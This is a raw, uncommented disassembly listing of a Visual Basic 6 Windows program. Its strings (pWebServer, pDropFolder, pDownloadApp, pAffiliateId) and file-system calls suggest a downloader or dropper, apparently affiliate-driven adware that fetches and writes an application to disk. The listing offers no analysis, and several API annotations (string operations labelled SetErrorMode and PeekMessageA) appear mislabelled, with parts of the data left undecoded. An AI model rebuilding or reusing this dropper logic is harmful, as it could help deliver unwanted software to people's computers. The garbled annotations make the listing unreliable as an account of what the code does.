		dd 3F007Bh, 3F0046h, 3F003Fh, 3F0073h, 2 dup(3F003Fh)
		dd 3F0026h, 75003Fh, 3F003Fh, 3E0002h, 7E003Fh,	61003Fh
		dd 3F0021h, 3F003Fh, 20007Fh, 7B0053h, 3F0035h,	3F0031h
		dd 1B003Fh, 3F003Fh, 42003Fh, 3F0007h, 76007Bh,	2 dup(3F003Fh)
		dd 3F006Bh, 7D003Fh, 3F003Fh, 4A0031h, 750037h,	3F003Fh
		dd 3F0048h, 3F0034h, 3F0069h, 70045h, 2	dup(3F003Fh), 39005Dh
		dd 1A003Fh, 3F003Fh, 64002Eh, 3F0050h, 2 dup(3F003Fh)
		dd 7E003Fh, 7F005Bh, 3F006Ah, 5003Fh, 2F003Fh, 3F006Dh
		dd 6B003Fh, 75003Fh, 54003Fh, 19003Fh, 35003Fh,	3F007Fh
		dd 3F003Fh, 6B0048h, 49003Fh, 2	dup(3F003Fh), 60071h, 7A007Bh
		dd 10063h, 6007Bh, 3F003Dh, 2E0059h, 27003Fh, 21003Fh
		dd 3 dup(3F003Fh), 5C003Fh, 37001Ah, 3F003Fh, 3F00B3h
		dd 3F0039h, 3F003Fh, 35005Ah, 5	dup(3F003Fh), 3F004Fh
		dd 3F003Fh, 1B0013h, 3F003Fh, 0E003Fh, 3F003Fh,	3F0041h
		dd 3F003Fh, 3F0034h, 23003Fh, 15001Eh, 2 dup(3F003Fh)
		dd 750075h, 6D003Fh, 440054h, 700078h, 3F003Fh,	2F003Fh
		dd 340016h, 3 dup(3F003Fh), 3F006Ch, 5 dup(3F003Fh), 5B003Fh
		dd 3F003Fh, 3C0036h, 5D00B4h, 2	dup(3F003Fh), 3F0055h
		dd 16003Fh, 3F0051h, 60003Fh, 2F0037h, 65003Fh,	2 dup(3F003Fh)
		dd 160004h, 3F005Dh, 3F003Fh, 3F000Eh, 3F003Fh,	3D0019h
		dd 3F003Fh, 66003Fh, 320066h, 59001Fh, 3F007Ah,	3F003Fh
		dd 3F0054h, 35003Fh, 110077h, 3F007Fh, 3F003Fh,	15006Fh
		dd 3 dup(3F003Fh), 12003Fh, 40003Fh, 2 dup(3F003Fh), 3F017Dh
		dd 3F0079h, 2 dup(3F003Fh), 70003Fh, 3F005Ch, 2	dup(3F003Fh)
		dd 3A0062h, 3F0041h, 67003Fh, 2	dup(3F003Fh), 3F0020h
		dd 3D002Bh, 7B007Fh, 3F0033h, 3E003Fh, 3F003Dh,	3F003Fh
		dd 0FF003Fh, 6F003Fh, 2	dup(3F003Fh), 7E007Ch, 3F003Fh
		dd 3F007Eh, 7B000Eh, 3F003Fh, 35003Fh, 3F0037h,	3F003Fh
		dd 4D003Fh, 3 dup(3F003Fh), 59003Fh, 17D003Fh, 7C0065h
		dd 3F003Fh, 3F0006h, 3F0060h, 0C00063h,	3F000Eh, 3F007Eh
		dd 280071h, 2 dup(3F003Fh), 30003Fh, 17003Fh, 5B005Ch
		dd 3F0067h, 3F00F7h, 2F003Fh, 1D003Fh, 71003Fh,	3F006Fh
		dd 590067h, 4E003Fh, 240035h, 40003Fh, 3 dup(3F003Fh)
		dd 3E003Fh, 1E006Fh, 3F003Fh, 450043h, 15003Fh,	3F003Fh
		dd 3F0023h, 3F003Fh, 4C007Eh, 3F007Ch, 3D003Fh,	3F003Fh
		dd 43003Fh, 0F003Fh, 3F0032h, 1C003Fh, 3F003Fh,	690042h
		dd 2 dup(3F003Fh), 3F001Fh, 7C003Fh, 76003Fh, 3F007Ch
		dd 3F003Fh, 3F0048h, 3F002Fh, 12003Fh, 2E0064h,	71001Dh
		dd 3E003Fh, 2D003Bh, 3F003Fh, 120077h, 2 dup(3F003Fh)
		dd 5B0005h, 3E003Fh, 3F006Fh, 23003Fh, 1F003Fh,	4F001Ch
		dd 3F005Ch, 7D003Fh, 4E003Fh, 3F003Fh, 2D007Ch,	5F003Fh
		dd 3F0058h, 3F0067h, 2 dup(3F003Fh), 38003Fh, 62003Fh
		dd 3F002Fh, 3003Fh, 3F0045h, 1F003Fh, 3F005Dh, 3F000Fh
		dd 2 dup(3F003Fh), 3F0017h, 1C003Fh, 63007Bh, 3A002Bh
		dd 2 dup(3F003Fh), 3F001Fh, 6A003Fh, 4 dup(3F003Fh), 2F003Fh
		dd 2 dup(3F003Fh), 51003Fh, 2E003Fh, 60003Fh, 3F0073h
		dd 7A0020h, 3F003Fh, 70004Eh, 20003Fh, 39003Fh,	3F003Fh
		dd 7003Fh, 3F00AEh, 2 dup(3F003Fh), 3F005Dh, 3F001Dh, 59005Fh
		dd 140030h, 13003Fh, 3F0016h, 3F003Fh, 65003Fh,	5F003Fh
		dd 3F00BFh, 2F0045h, 2 dup(3F003Fh), 3F0068h, 3F003Fh
		dd 3D003Fh, 3F003Fh, 430075h, 7E004Bh, 1D0070h,	75003Fh
		dd 3F003Fh, 5D0067h, 3F0057h, 3F004Ah, 3F0020h,	3F0007h
		dd 2 dup(3F003Fh), 3F0043h, 3F003Eh, 8003Fh, 7B003Fh, 3F0064h
		dd 76003Fh, 2F0032h, 150062h, 39003Fh, 62007Ch,	3F003Fh
		dd 3F0024h, 28003Fh, 380065h, 79007Fh, 5F003Fh,	3F003Fh
		dd 161003Fh, 3F003Fh, 3F003Dh, 2 dup(3F003Fh), 3B003Fh
		dd 35003Fh, 15003Fh, 1F003Fh, 3F003Fh, 76003Fh,	2 dup(3F003Fh)
		dd 60007Ch, 2 dup(3F003Fh), 3F0038h, 3F005Fh, 3F007Bh
		dd 4A003Fh, 7E003Fh, 7D0033h, 740004h, 23002Bh,	3F003Fh
		dd 3F0057h, 2 dup(3F003Fh), 3F00F8h, 3F003Fh, 3F0010h
		dd 710006h, 3F003Fh, 5D003Fh, 2	dup(3F003Fh), 14003Fh
		dd 3B007Fh, 2 dup(3F003Fh), 4D0050h, 7F003Fh, 4A017Eh
		dd 80066h, 0
		dd 18h,	750042h, 64006Eh, 65006Ch, 610042h, 650073h, 2E0031h
		dd 0
		dd 2, 2Fh, 0Eh,	3F002Fh, 6F0063h, 650064h, 3Dh,	0A4C466B8h
		dd 101B499Fh, 0AA0078BBh, 0BB3C3800h, 2	dup(0)
		dd 34h,	630053h, 690072h, 740070h, 6E0069h, 2E0067h, 690046h
		dd 65006Ch, 790053h, 740073h, 6D0065h, 62004Fh,	65006Ah
		dd 740063h, 0
aFolderexists_0:
		unicode	0, <FolderExists>,0
		align 4
aCreatefolder_0:
		unicode	0, <CreateFolder>,0
		align 10h
		dd 12h,	4F0074h, 730061h, 2E0046h, 6F006Ch, 67h, 720043h
		dd 610065h, 650074h, 650054h, 740078h, 690046h,	65006Ch
		dd 0
aWriteline_0:
		unicode	0, <WriteLine>,0
aGetfile_0:
		unicode	0, <GetFile>,0
aDelete_0:
		unicode	0, <Delete>,0
		align 4
aVba6_dll_0	db 'VBA6.DLL',0
		align 4
a__vbavarseto_0	db '__vbaVarSetObjAddref',0
		align 10h
a__vbaobjvar_0	db '__vbaObjVar',0
a__vbalatemem_1	db '__vbaLateMemCall',0
		align 10h
a__vbavarlate_0	db '__vbaVarLateMemCallLd',0
		align 4
a__vbavarsetv_0	db '__vbaVarSetVar',0
		align 4
a__vbaerrorov_1	db '__vbaErrorOverflow',0
		align 4
a__vbalenbstr_0	db '__vbaLenBstr',0
		align 10h
a__vbai2i4_0	db '__vbaI2I4',0
		align 4
a__vbastrcmp_0	db '__vbaStrCmp',0
a__vbai2var_0	db '__vbaI2Var',0
		align 4
a__vbaonerror_0	db '__vbaOnError',0
		align 4
a__vbaarymove_1	db '__vbaAryMove',0
		align 4
a__vbavartste_0	db '__vbaVarTstEq',0
		align 4
a__vbaarydest_0	db '__vbaAryDestruct',0
		align 4
a__vbafileclo_0	db '__vbaFileClose',0
		align 4
a__vbaputowne_0	db '__vbaPutOwner3',0
		align 4
a__vbafileope_0	db '__vbaFileOpen',0
		align 4
a__vbavar2vec_0	db '__vbaVar2Vec',0
		align 4
a__vbafreestr_0	db '__vbaFreeStrList',0
		align 4
a__vbavarcat_0	db '__vbaVarCat',0
a__vbastrvarv_1	db '__vbaStrVarVal',0
		align 4
a__vbavarcopy_0	db '__vbaVarCopy',0
		align 4
a__vbavarinde_0	db '__vbaVarIndexLoad',0
		align 4
a__vbafreevar_1	db '__vbaFreeVar',0
		align 4
a__vbavardup_1	db '__vbaVarDup',0
a__vbavarmove_1	db '__vbaVarMove',0
		align 4
a__vbafreevar_2	db '__vbaFreeVarList',0
		align 4
a__vbafreeobj_0	db '__vbaFreeObj',0
		align 4
a__vbaobjset_0	db '__vbaObjSet',0
		dd 0
a__vbalateidc_0	db '__vbaLateIdCallLd',0
		align 10h
a__vbastrvarm_1	db '__vbaStrVarMove',0
a__vbafreestr_1	db '__vbaFreeStr',0
		align 10h
a__vbahresult_0	db '__vbaHresultCheckObj',0
		align 4
a__vbastrcat_0	db '__vbaStrCat',0
a__vbastrmove_0	db '__vbaStrMove',0
		align 4
a__vbastrcopy_0	db '__vbaStrCopy',0
		align 4
		dd offset loc_402DAF+1
		dd offset loc_402ECF+1
		dd offset loc_402E3C
		dd offset loc_402E8F+1
		align 8
		dd offset loc_402E88
		align 10h
		dd offset loc_402E9B+1
		align 8
		dd offset locret_402EBA+2
		dd offset loc_402EC8
		dd offset loc_402E64
		dd offset loc_402E72+2
		dd offset loc_402E47+1
		dd offset loc_402EA7+1
		dd offset loc_402EB4
		align 8
		dd offset loc_402E2F+1
		dd offset loc_402E3C
		dd offset loc_402E47+1
		dd offset loc_402E52+2
		dd 7150008h, 0FFFFh, 0
		dd 60030008h, 402C10h, 3 dup(0)
		dd 10101Eh, 7190004h, 0FFFFh, 0
		dd 60030009h, 402BF0h, 3 dup(0)
		dd 101Eh, 7010108h, 0FFFFh, 0
		dd 60030003h, 402C00h, 3 dup(0)
		dd 26301Eh, 6FD000Ch, 0FFFFh, 0
		dd 60030002h, 402C18h, 3 dup(0)
		dd 0F0F101Eh, 7110004h,	0FFFFh,	0
		dd 60030007h, 402BF4h, 3 dup(0)
		dd 101Eh, 70D010Ch, 0FFFFh, 0
		dd 60030006h, 402C24h, 3 dup(0)
		dd 2330301Eh, 7050108h,	0FFFFh,	0
		dd 60030004h, 402BF8h, 3 dup(0)
		dd 23101Eh, 7090108h, 0FFFFh, 0
		dd 60030005h, 402C08h, 3 dup(0)
		dd 30301Eh, 0
		dd offset loc_402D87+1
		dd offset loc_402CA8+4
		dd offset loc_402C85+3
		dd offset loc_402D13+5
		dd offset loc_402D3B+1
		dd offset loc_402CF2+2
		dd offset loc_402CD0
		dd offset loc_402C3F+1
		dd offset loc_402C64
		dd 6F90010h, 0FFFFh, 0
		dd 60030001h, 402C30h, 3 dup(0)
		dd 1010101Eh, 10h, 0
		dd offset loc_40197C
		dd 0FFFFFFFFh, 3 dup(0)
		dd offset loc_402D5E+2
		align 8
		dd offset loc_402BEC
		dd offset loc_402BEC
		dd offset loc_402BEC
		align 10h
		dd 44h,	4, 0
		dd offset loc_401BC9+3
		dd 0FFFFFFFFh, 0
		dd offset loc_402BEC
		dd 3 dup(0)
		dd 0FFFFFFFFh, 0
		dd offset loc_401D2D+3
		dd offset loc_401CCA+2
		dd offset loc_4062D7+1
		dd offset loc_401DAB+5
		dd offset loc_401D58
		dd offset loc_4062DC
aPgeodnlapp_0	db 'pGeoDnlApp',0
		align 4
aPdropfolder_0	db 'pDropFolder',0
aPwebserver_0	db 'pWebServer',0
		align 4
aPdownloadfol_0	db 'pDownloadFolder',0
aPaffiliateid_0	db 'pAffiliateId',0
		align 4
aPclientappro_0	db 'pClientAppRootName',0
		align 10h
aPath_0		db 'path',0
		align 4
aStrdirname_0	db 'strDirName',0
		align 4
aFilename_0	db 'Filename',0
		align 10h
aFilepath_0	db 'filepath',0
		align 4
aFileext_0	db 'FileExt',0
aPfilepath_0	db 'pFilePath',0
		align 10h
aPmsg_0		db 'pMsg',0
		align 4
aPdownloadapp_0	db 'pDownloadApp',0
		align 4
		dd 0E9E9E9E9h, 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0F4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401128h
		mov	ebx, [ebp+8]
		mov	eax, ebx
		and	eax, 1
		mov	[ebp-4], eax
		and	ebx, 0FFFFFFFEh
		push	ebx
		mov	[ebp+8], ebx
		mov	ecx, [ebx]
		call	dword ptr [ecx+4]
		mov	esi, dword ptr ds:loc_4010CF+1
		xor	eax, eax
		mov	edx, offset sub_401E6C
		lea	ecx, [ebp-24h]
		mov	[ebp-18h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], eax
		mov	[ebp-24h], eax
		mov	[ebp-28h], eax
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		mov	[ebp-38h], eax
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], eax
		mov	[ebp-50h], eax
		mov	[ebp-60h], eax
		mov	[ebp-70h], eax
		mov	[ebp-74h], eax
		mov	[ebp-78h], eax
		mov	[ebp-7Ch], eax
		mov	[ebp-80h], eax
		mov	[ebp-84h], eax
		mov	[ebp-88h], eax
		mov	[ebp-8Ch], eax
		mov	[ebp-90h], eax
		mov	[ebp-94h], eax
		mov	[ebp-0A4h], eax
		mov	[ebp-0B4h], eax
		mov	[ebp-0C4h], eax
		mov	[ebp-0D4h], eax
		mov	[ebp-0E4h], eax
		mov	[ebp-0E8h], eax
		call	esi	; SetErrorMode
		mov	edx, 401E7Ch
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		mov	edx, 401E90h
		lea	ecx, [ebp-7Ch]
		call	esi	; SetErrorMode
		mov	edx, 401EA0h
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		mov	edx, [ebp-78h]
		mov	esi, dword ptr ds:loc_401026+2
		push	401EB8h
		push	edx
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-34h]
		call	edi	; PeekMessageA
		mov	edx, offset sub_401ED8
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401EECh
		lea	ecx, [ebp-20h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401EFCh
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F08h
		lea	ecx, [ebp-4Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F2Ch
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_4010CF+1
		mov	eax, [ebx]
		lea	ecx, [ebp-0E8h]
		lea	edx, [ebp-80h]
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_41BCC1
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41BCC1:				; CODE XREF: .data:0041BCADj
		xor	eax, eax
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	ecx, [ebp-80h]
		setz	al
		neg	eax
		mov	[ebp-0F0h], eax
		call	dword ptr ds:loc_401118
		cmp	word ptr [ebp-0F0h], 0
		jz	short loc_41BCFE
		mov	edx, 401F68h
		lea	ecx, [ebp-74h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F78h
		jmp	short loc_41BD11
; ---------------------------------------------------------------------------


loc_41BCFE:				; CODE XREF: .data:0041BCE7j
		mov	edx, 401F88h
		lea	ecx, [ebp-74h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, offset sub_401FA4


loc_41BD11:				; CODE XREF: .data:0041BCFCj
		lea	ecx, [ebp-50h]
		call	dword ptr ds:loc_4010CF+1
		mov	ecx, [ebx]
		lea	edx, [ebp-0E8h]
		lea	eax, [ebp-34h]
		push	edx
		push	eax
		push	ebx
		call	dword ptr [ecx+700h]
		test	eax, eax
		jge	short loc_41BD44
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41BD44:				; CODE XREF: .data:0041BD30j
		cmp	word ptr [ebp-0E8h], 0
		jnz	loc_41C5E4
		mov	ecx, [ebp-4Ch]
		push	401FB8h
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_401FCC
		call	esi	; SetErrorMode
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-0A4h], ecx
		mov	[ebp-9Ch], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0A0h]
		push	16h
		push	ebx
		mov	[edx+4], ecx
		mov	ecx, [ebx]
		mov	[edx+8], eax
		mov	eax, [ebp-98h]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-94h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	dword ptr ds:loc_401013+1
		mov	edx, eax
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-94h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-0B4h]
		lea	edx, [ebp-0A4h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-0A4h]
		mov	dword ptr [ebp-0BCh], 401FFCh
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F3+1
		mov	ecx, [ebp-28h]
		push	0
		lea	eax, [ebp-0A4h]
		push	0FFFFFFFFh
		push	eax
		lea	edx, [ebp-0B4h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_40108F+1
		lea	edx, [ebp-0B4h]
		lea	ecx, [ebp-70h]
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-0A4h]
		call	dword ptr ds:loc_40100C
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		mov	dword ptr [ebp-0DCh], 402004h
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+4], ecx
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		lea	ecx, [ebp-70h]
		push	1
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_41BF08
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], offset sub_402010
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_41BF08:				; CODE XREF: .data:0041BEE3j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], offset sub_402028
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_41BFB2
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], offset sub_402034
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_41BFB2:				; CODE XREF: .data:0041BF8Dj
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], offset sub_40204C
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_41C05C
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], 402058h
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_41C05C:				; CODE XREF: .data:0041C037j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], 402074h
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_41C106
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], offset sub_402084
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_41C106:				; CODE XREF: .data:0041C0E1j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], 4020A0h
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_41C1B0
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], 4020B0h
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_41C1B0:				; CODE XREF: .data:0041C18Bj
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-4Ch]
		mov	eax, [ebp-20h]
		mov	ebx, [ebx]
		push	ecx
		push	edx
		lea	ecx, [ebp-48h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_4010A4
		mov	[ebp-0FCh], ebx
		mov	ebx, [ebp+8]
		push	eax
		mov	eax, [ebp-0FCh]
		push	ebx
		call	dword ptr [eax+6F8h]
		test	eax, eax
		jge	short loc_41C1F9
		push	6F8h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C1F9:				; CODE XREF: .data:0041C1E5j
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401118
		mov	ecx, [ebp-20h]
		push	offset sub_4020CC
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	[ebp-9Ch], eax
		lea	edx, [ebp-0A4h]
		push	1
		lea	eax, [ebp-48h]
		push	edx
		lea	ecx, [ebp-0B4h]
		push	eax
		push	ecx
		mov	dword ptr [ebp-0A4h], 8
		call	dword ptr ds:loc_4010A7+1
		push	eax
		call	dword ptr ds:loc_40107F+1
		fstp	qword ptr [ebp-0BCh]
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-60h]
		mov	dword ptr [ebp-0C4h], 5
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401118
		lea	edx, [ebp-0B4h]
		lea	eax, [ebp-0A4h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-38h]
		mov	eax, 8
		push	ecx
		mov	[ebp-0BCh], ecx
		mov	ecx, esp
		mov	[ebp-0C4h], eax
		sub	esp, 10h
		mov	edx, [ebx]
		mov	[ecx], eax
		mov	eax, [ebp-0D0h]
		mov	[ecx+4], eax
		mov	eax, [ebp-4Ch]
		mov	[ecx+8], eax
		mov	eax, [ebp-0C8h]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp-0C4h]
		mov	ecx, esp
		mov	[ecx], eax
		mov	eax, [ebp-0C0h]
		mov	[ecx+4], eax
		mov	eax, [ebp-0BCh]
		mov	[ecx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-24h]
		push	ecx
		push	ebx
		call	dword ptr [edx+6FCh]
		test	eax, eax
		jge	short loc_41C307
		push	6FCh
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C307:				; CODE XREF: .data:0041C2F3j
		mov	edx, 40210Ch
		lea	ecx, [ebp-30h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, [ebp-30h]
		push	edx
		push	40210Ch
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	edi	; PeekMessageA
		mov	eax, [ebp-2Ch]
		mov	ecx, [ebp-20h]
		mov	ebx, [ebx]
		push	eax
		push	offset sub_4020CC
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-18h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		mov	[ebp-100h], ebx
		mov	ebx, [ebp+8]
		push	eax
		mov	eax, [ebp-100h]
		push	ebx
		call	dword ptr [eax+714h]
		test	eax, eax
		jge	short loc_41C3A1
		push	714h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C3A1:				; CODE XREF: .data:0041C38Dj
		lea	ecx, [ebp-8Ch]
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	4
		call	dword ptr ds:loc_4010D5+3
		mov	edx, [ebp-20h]
		add	esp, 14h
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	ebx, [ebx]
		mov	[ebp-9Ch], eax
		lea	eax, [ebp-0A4h]
		lea	ecx, [ebp-48h]
		push	eax
		lea	edx, [ebp-0B4h]
		push	ecx
		push	edx
		mov	dword ptr [ebp-0A4h], 8
		call	dword ptr ds:loc_4010A7+1
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		call	dword ptr ds:loc_4010A4
		mov	ecx, ebx
		mov	ebx, [ebp+8]
		push	eax
		push	ebx
		call	dword ptr [ecx+718h]
		test	eax, eax
		jge	short loc_41C43A
		push	718h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_41C43A:				; CODE XREF: .data:0041C426j
		lea	edx, [ebp-84h]
		lea	eax, [ebp-80h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_4010D5+3
		lea	ecx, [ebp-0B4h]
		lea	edx, [ebp-0A4h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 18h
		push	offset sub_4020CC
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
